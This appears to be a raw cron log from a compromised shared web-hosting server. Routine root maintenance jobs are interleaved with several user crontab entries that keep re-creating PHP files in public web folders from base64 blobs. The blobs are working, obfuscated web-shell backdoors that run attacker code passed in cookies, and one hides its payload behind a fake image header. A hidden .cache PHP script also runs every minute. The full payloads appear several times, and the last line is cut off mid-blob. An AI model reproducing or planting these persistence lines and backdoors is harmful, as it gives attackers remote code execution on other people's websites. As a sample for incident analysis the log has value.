Jun  7 04:25:01 medusa CROND[16561]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:25:01 medusa CROND[16552]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Jun  7 04:25:01 medusa CROND[16553]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 04:25:01 medusa CROND[16563]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:25:01 medusa CROND[16554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:26:02 medusa CROND[18543]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:26:02 medusa CROND[18544]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:26:02 medusa CROND[18545]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:26:02 medusa CROND[18547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:26:02 medusa CROND[18550]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:26:02 medusa CROND[18548]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 04:26:02 medusa CROND[18549]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:26:02 medusa CROND[18552]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:26:02 medusa CROND[18553]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 04:26:02 medusa CROND[18557]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:26:02 medusa CROND[18558]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:26:02 medusa CROND[18562]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:26:02 medusa CROND[18564]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:26:02 medusa CROND[18559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:27:01 medusa CROND[20055]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:27:02 medusa CROND[20061]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 04:27:02 medusa CROND[20062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:27:02 medusa CROND[20063]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:27:02 medusa CROND[20064]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:27:02 medusa CROND[20065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:27:02 medusa CROND[20068]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:27:02 medusa CROND[20070]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:27:02 medusa CROND[20076]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:27:02 medusa CROND[20077]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:27:02 medusa CROND[20078]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAE